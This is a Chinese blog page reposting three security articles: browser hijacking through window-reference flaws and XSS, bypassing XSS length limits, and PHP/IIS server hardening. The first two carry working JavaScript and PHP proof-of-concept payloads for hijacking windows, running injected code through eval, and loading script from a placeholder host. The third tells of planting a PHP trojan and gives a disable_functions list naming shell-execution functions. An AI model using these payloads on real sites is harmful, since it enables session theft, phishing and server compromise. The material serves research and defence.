标签:安全

浏览模式: 标准 | 列表 | 图文

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

本文和上一篇 一样,我主要是为了了解攻击方法才记录的。有些东西确实没有注意过。以后要多注意啊。不然,就成为别人攻击的目标了。

原文:http://hi.baidu.com/isbx/blog/item/c9baf31f5b36cd6bf724e421.html

很多断行,已经重新排 版

|=---------------------------------------------------------------------------=|
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[ By rayh4c ]=---------------------------=|
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
|=---------------------------------------------------------------------------=|

[目录]

1. 前言
2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
4.1 父窗口引用子窗口的同源策略问题
4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
6.1 正向跨窗口劫持
6.2 反向跨窗口劫持
6.3 极度危险的跨框架窗口引用劫持
6.4 极度危险的正反向跨窗口递归劫持
6.5 完全控制浏览器
7. 后记
8. 参考


一、前言

最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。


二、同源策略简叙

同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。


三、理解window对象的同源策略

窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:

<script language="javascript">
for(p in window) document.write(p+"<br>");
</script>

这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,这些属性和方法就必须遵循同源策略。

举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。
<script language="javascript">
function allPrpos(obj) {
var props = "<table><tr><td>名称</td><td>值</td>";
for(var p in obj){
if(typeof(obj[p])=="function"){
obj[p]();
}else{
try
{
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
}
catch (ex)
{

props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
}

}
}

document.write(props+"</table>");
}

function createWin() {
newWin = window.open ("http://www.google.com");
setTimeout(function(){allPrpos(newWin)},2000);
}

</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
四、窗口引用功能中的同源策略漏洞

4.1 父窗口引用子窗口的同源策略问题

去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进行测试,会发现父窗口可以控制非同源子窗口location属性值。
<script language="javascript">
function createWin() {
newWin = window.open ("http://www.google.com");
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>

4.2 子窗口引用父窗口的同源策略问题

逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
javascript:window.opener.location = "http://www.80sec.com";void(0);
五、利用窗口引用漏洞劫持浏览器

经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下会产生什么可怕的后果。

下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php。

这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可以做更多的事情,所有的一切仅仅是因为点击了一个链接。

<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
}
?>

<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
</script>
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。


六、利用XSS漏洞劫持浏览器

延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起讨论跨站师的终极技巧:


6.1 正向跨窗口劫持

大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话框脚本。
javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
6.2 反向跨窗口劫持

同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话框脚本。

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

6.3 极度危险的跨框架窗口引用劫持

非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个非持久型的XSS,如下:
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
注入脚本。

<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
</script>

6.4 极度危险的正反向跨窗口递归劫持

luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过异常处理规避之间跨域页面的访问异常,代码如下:
javascript:(function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可以劫持B域之前的A域页面,从而实现“隔空打击”。

同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。

结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。


6.5 完全控制浏览器

一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站师的终极目标 - 完全控制浏览器。


七、后记

文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。


八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

突破XSS字符数量限制执行任意JS代码

突破XSS字符数量限制执行任意JS代码

贴本文的意思并非传播黑客技术,而是根据攻击的方向和内容来提醒自己 ,以后写代码需要注意的事项。

原文:http://hi.baidu.com/isbx/blog/item/bee2d31b7ab4bdddac6e7521.html

==Ph4nt0m Security Team==
Issue 0x03, Phile #0x04 of 0x07
|=---------------------------------------------------------------------------=|
|=-----------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=------------------------=[ By luoluo ]=---------------------------=|
|=----------------------=[ <luoluo#ph4nt0m.org> ]=-------------------------=|
|=----------------------=[ <luoluo#80sec.com> ]=------------------------=|
|=---------------------------------------------------------------------------=|


[目录]

1. 综述
2. 突破方法
2.1 利用HTML上下文中其他可以控制的数据
2.2 利用URL中的数据
2.3 JS上下文的利用
2.4 利用浏览器特性在跨域的页面之间传递数据
2.4.1 document.referrer
2.4.2 剪切板clipboardData
2.4.3 窗口名window.name
2.5 以上的方式结合使用
3. 后记
4. 参考


一、综述

有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些极端情况下的XSS漏洞。

突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数据。


二、突破方法

2.1 利用HTML上下文中其他可以控制的数据

如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:

<div id="x">可控的安全的数据</div>
<limited_xss_point>alert(/xss/);</limited_xss_point>
由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
长度:28 + len(id)

由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。


2.2 利用URL中的数据

如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到最后:
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
长度:30
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
长度:31

上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个字符:
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
长度:29
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
长度:30

那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:
http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)

<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
长度:29

这样比上面的例子又少了一个字符。那么还可以更短么?


2.3 JS上下文的利用

为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:
String.fromCharCode
getElementById
getElementsByTagName
document.write
XMLHTTPRequest
...
就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的简化函数,最经典的例子就是:

function $(id) {
return document.getElementById(id);
}
这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:
function loads(url) {
...
document.body.appendChild(script);
}

<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>

长度:len(函数名) + len(url) + 5

当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
function get(url) {
...
return x.responseText;
}

<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>
长度:len(函数名) + len(url) + 11

道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:
JQuery
YUI
...

综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我们的代码,进而突破长度限制执行任意代码。


2.4 利用浏览器特性在跨域的页面之间传递数据

虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。

2.4.1 document.referrer

攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了Payload,被XSS的页面通过referrer获取相关代码执行。

攻击者构造的的页面:
http://www.a.com/attack.html?...&alert(document.cookie)

<a href="http://www.xssedsite.com/xssed.php">go</a>
被XSS的页面:
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
长度:34

这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh>实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:

<script type="text/javascript">
<!--
window.onload = function(){
var f = document.createElement("form");
f.setAttribute("method", "get");
f.setAttribute("action", "http://www.xssedsite.com/xssed.php");
document.body.appendChild(f);
f.submit();
};
//-->
</script>
2.4.2 剪切板clipboardData

攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获取并执行该数据。

攻击者构造的页面:

<script>
clipboardData.setData("text", "alert(document.cookie)");
</script>
被XSS的页面:

<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
长度:36

这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。


2.4.3 窗口名window.name

这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数据的,但是这个特性本身并不是漏洞。

如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS或者VBS。

但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:

攻击者构造的页面:

<script>
window.name = "alert(document.cookie)";
locaton.href = "http://www.xssedsite.com/xssed.php";
</script>

被XSS的页面:

<limited_xss_point>eval(name);</limited_xss_point>

长度:11

这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思的技巧,这个技巧的发现也是促成本文的直接原因。

window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文章来探讨。


2.5 以上的方式结合使用

以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况中,灵活的组合上面的方法可能会起到奇效。


三、后记

JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎和我交流!

感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!

本文是纯粹的技术探讨,请勿用于非法用途!


四、参考

http://msdn.microsoft.com/en-us/library/aa155073.aspx

PHP安全设置 [转]

PHP安全设置 [转]

攻击过程: 前些日子,一个朋友刚做完一个网站,让我给他做下安全检测.简单看了一下,发现网站里存在ASP和PHP两种脚本,后来知道是因为空间商把FSO调用必了,所以我那个朋友又用了PHP脚本的上传程序做会员上传用,呵呵,正因为他的这个
PHP上传程序让我有了进入这个服务器的机会,感谢ing....

利用上传漏洞,传了个PHP木马上去.为了证明此服务器的ASP木马防护能力,后来写了个测试FSO的FSO.asp用PHP木马
传上去,打开页面提示说:无效的progid...由经验得知80%是改了progid值,于是我马上用PHP木马的写权限把fso.asp
的set fso=server.createobject("scripting.filesystemobject")这一句删了,在asp体外加了一句<object
runat=server id=fso scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>.

写入成功后,再打开fso.asp,哈哈!该服务器的所有盘基本情况都很清楚了.
看来执行ASP木马也没有问题了.ASP安全是做了,但做的不彻底,而且单凭PHP马就足以给此服务器臻命的打击.服务器里D盘G盘近千个网站虽在I盘作了备分,但一点用也没有!完全有可读写运行的权限,想怎么处理你也没脾气!而且还可以执行webshell.如果提升权限进入你的服务器格了盘.再作下垃圾数据处理,想还原也还原不了喽.对于同胞我虽然不可能作出这种下流事,但林子大了什么鸟都有!再或者有异族的侵入.唉....攻击就这么简单,一个极普通的小站加一个老没就能控制整个服务器!唉!
防护方式
第一式:脚本监控

实施环境:windows操作系统
实施方法,安装对脚本监控较强的防毒软件!如:kaspersky(卡巴斯基).题外话:我的脚本常常被他kill...有时只能把他的监控监时关掉!

个人意见:实施起来比较容易,装一个好的防毒软件就可以了.263主机就用了此法!但未秘太管用,不是什么马都可以查杀的,而且当我把程序加一下密,防毒软件也认不出来.仅可作为初级防线!
第二式:
实施环境:windows操作系统,IIS模式下
实施方法:通过使FSO(filesystemobject)组件调用失效可使ASP木马跑不起来!

此式又可分为两招:
第一招:修改注册表中程序标识值(PorgID)
出招:单击"开始-->>运行",在运行对话框中输入"regedit",然后在注册表编辑器中找到"HKEY_CLASSES_ROOT\Scripting.FileSystemObject"改为"HKEY_CLASSES_ROOT\Scripting.FileSystemObjectcn90"
说明:此招只是把通常调用FSO的语句"set 对象名=server.createobject("Scripting.filesystemobject")"改为:set 对象名=server.createobject("scripting.filesystemobjectcn90")",使得不知默认的ProgID改为何值的人无法调用FSO组件,从而达到使ASP木马跑不起来的目的.最后再提醒一点,通常有人认为把scripting.filesystemobject修改为scripting.filesystemobjectcn90是改(右边的)字符串值,那是没用的.字符串的值,你就当是说明好了,改不改都无所谓.主要是要改左边的项值(文件夹重命名).

个人意见:此招看上去管用,但若有精通一些的人采用html的<object>标注通过FSO的类标识<clsid)在网页里调用组件,改了半天的progID等于白改了!其实网上流传着改clsid值的方法来完善此招,但是我通过经验告诉大家!这是行不通的,CLSID默认的字符串值为:{0D43FE01-F093-11CF-8940-00A0C9054228},有文章说改为{0D43FE01-F093-11CF-8940-00A0C9054229}或改为其它的尾数来实现CLSID调用时出错.我在多个操作系统上度行,此举无效.至于为什么,我对微软的CLSID设置还不到非常精通的地步,但据我所知CLSID是微软分配的必需唯一的数值,当FSO的scrrun.dll组件被调用时,其实是先到注册表寻找指示,依赖CLSID可能会引起值冲突或FSO干脆就无法调用了.
第二招:禁用FSO组件
出招:单击"开始--->>运行",在运行对话框中输入"regsvr32 /u %systemroot%\system32\scrrun.dll",点击确定就可以了!
说明:利用微软自带的regsvr32工具来注销FSO组件,实在是方便,如想再启用起来,只需在运行对话框中输入"regsvr32 %systemroot%\system32\scrrun.dll"即可.
个人意见:此招方便有效,一般系统管理员很少通过FSO进行管理.对于需要FSO组件不多的情况,建议直接注销此组件!
第三式:防PHP木马之内部函数的作用.
实施环境:支持并运行PHP的各类操作系统
实施方法:通过对PHP的核心配置文件PHP.ini的修改,禁用一些功能强大的内部函数!好了,我们开始行动吧!

第一步:打开php.ini文件(windows默认路径为"%systemroot%\php.ini",linux默认路径在"etc/php.ini").
第二步:找到"safe_mode=off"改为"safe_mode=on"(已经打开的省略此步)
第三步:找到"disable_functions="改为:"disable_functions=phpinfo,system,exec,passthru,shell_exec,popen,is_dir".
第四步:找到"display_errors=on"改为"display_errors=off"
第五步:保存退出.
说明:php安全模式(safe_mode)打开后,"disable_functions="后跟的全部都是被禁用的PHP内部函数."phpinfo"这个函数并不是为防止PHP木马而禁用的.但它能返回所有的PHP基本信息,建议关闭以绝后
患,"system,exec,passthru,shell_exec,popen," 这些属于命令执行类函数,关闭他们可以防止PHP木马执行webshell;"is_dir"这个函数的关闭,可以让既使有everyone可读的权限,也无法将服务器目录及文件名返回到浏览器
.但此时PHP的错误提示会告诉你是因为哪些函数出错造的.所以我们还要关掉错误提示,就是我们的第四步,这样下来
那些一般的工具黑客就会以为没有权限而放弃!

个人意见:我发现网络广为转贴的一篇防PHP木马文章里把关闭的特定函数设
为"disable_functions=passthru,exec,shell_exec,system,fopen,mkdir,rmdir,chmod,unlink,dir,fopen,fread,f
close,fwrite,file_exists,closedir,is_dir,readdir,opendir,fileperms.copy,unlink,delfile",首先我对
delfile也被列为被禁用的PHP函数打了一个超大的问号.再一个,PHP本身就是以提供了大量的函数,实现某功能比较
容易而受到了很多PHP编程者欢迎.如果禁掉这么多函数,以文本数据库运行的留言本,论坛等等都无法正常使用运行.
木马是禁止了,PHP的能力也损失了,怕是很多客户也只能离这个虚拟主机而去了.

所以我其实连is_dir都不舍得关掉.我更喜欢只关才phpinfo,system,exec,passthru,shell-exec,popen,然后配以正确的权限设置比较有效.
第四式:目录权限验证防跨站入侵
实施环境:windows操作系统NTFS格式,linux类操作系统
实施方法:通过对目录的访问者权限的控制,使不同级别的用户在访问时只能依法(权限)办事.此式针对方流的windwos和linux两大类操作分别出招!
第一招:apache(windwos)服务器模式的目录访问权限控制
出招:
1.把所有分区的安全选项里的授权组或用户里除了administrators和system全都删除.
2.针对每个虚拟主机用户目录再单加一个ev-eryone读,写,和列出目录权限.
说明:把上面的方法归于apache服务器类,并不说只能应用于appche,而是在IIS下有另一种权限配置方案比这个更好,可以说在windows操作系统下,如果不用IIS,采用其它web服务器模式的情况还是要用此法的!按此方式设置权限,由于相应的虚拟主机来宾用户只在授权的目录内拥有权限,在上一级根本就没授权,所以就会看不到别人的目录,当然就无法进到别人的目录乱来,从而无法形成跨站入侵了!除非那个人对你的网站的目录设置情况非常的了解.但我想这种人就是内部的了,家贼难防.在这里我们不去考虑这些个别因素.不过,我发现好多的虚拟主机商把网站的目录以网站的名称去命令.为了便于记忆和管理可以理解.但无形中又多了一种安全因素,其实只要在设目录时在你要设的目录名后随机加几个字符,那么就没人能猜到你每个目录的名字了.举手之劳.何乐而不为呢?
个人意见:如果谈到apache模式下防脚本木马一般就是指防PHP木马了.因为拿apache去和ASP结合的人,我基本上没见到,除了兼容性的问题,主要是近年的高版本apache支持ASP我从没成功配置过,也没见过别人成功(通过端口映射而使apache和IIS共存的情况除外).而作为一个安全的服务器,权限是一定要配置的,但要根据不同服务器的实际情况,要很多种方式结合起来才能真正达到安全有效.
其实针对apache服务器,可以在httpd.conf里加一句"php_admin_value open_basedir '你的网站目录",但这个方工通过我的实际经验个人认为企业内部用或个人用不行,实在不适合虚拟主机的用户,没多大作用的方式,我只提一下,有兴趣的朋友自己研究吧!
第二招:IIS服务器模式的目录访问权限控制
出招:首先建立一个guests组用户,然后对应网站的目录加入刚设的Guests组用户读取和运行的权限.在IIS里对相应的目录安全性进行编辑.把默认的匿名用户改为你对应的Guests用户.
点确定后会提示你再输入一次密码.正确输入后就OK了.

说明:如果你的IIS除了ASP,还支持了PHP,那么对你许可使用PHP的客户在PHP程序目录里也要根据对应的用户给予读和运行的权限.%systemroot%目录给予只读权限,不给权限就不能运行PHP.所以建议在安装
PHP时不要装在默认目录用默认名,以防被猜出路径,增加不安全隐患!

个人意见:此方式对于每个用户给予单独的授权,未经授权的地方就不能访问.所以用此方式能比较好的控制每个用户活动的地方.此方式也是我在windows服务器里比较喜欢的一种设置方式!
特别提示:由于在ASP程序里,有好多人使用ACCESS类型数据库,而上面的权限配置出于目录继承的原因,而使用这种数据库的朋友ASP程序就无法正常运行了.如果是管理网站不是很多的内部服务器,可以为数据库文件单开一个写权限即可.但对于虚拟主机来说,如此做根本就不现实.所以在给予网站目录权限的时候就要把写的权限加上.
第三招:linux类服务器模式的目录访问权限控制
出招:使用chmod命令让所有的系统内目录访问权限为711(例: chmod 711 chameleon,)
说明:由于能管理和配置linux系统的管理员一般都是比较专业的,我这里就不对整个linux目录权限作更多的讲述,设为711权限后,PHP木马将无法读写及浏览到目录内的所有文件,以此达到防止跨站攻击的目录.
个人意见:仅仅设为711权限对于服务器安全是不够的,还需综合多种安全设置结合起来!比如在防PHP木马上还要对php.ini作些设置.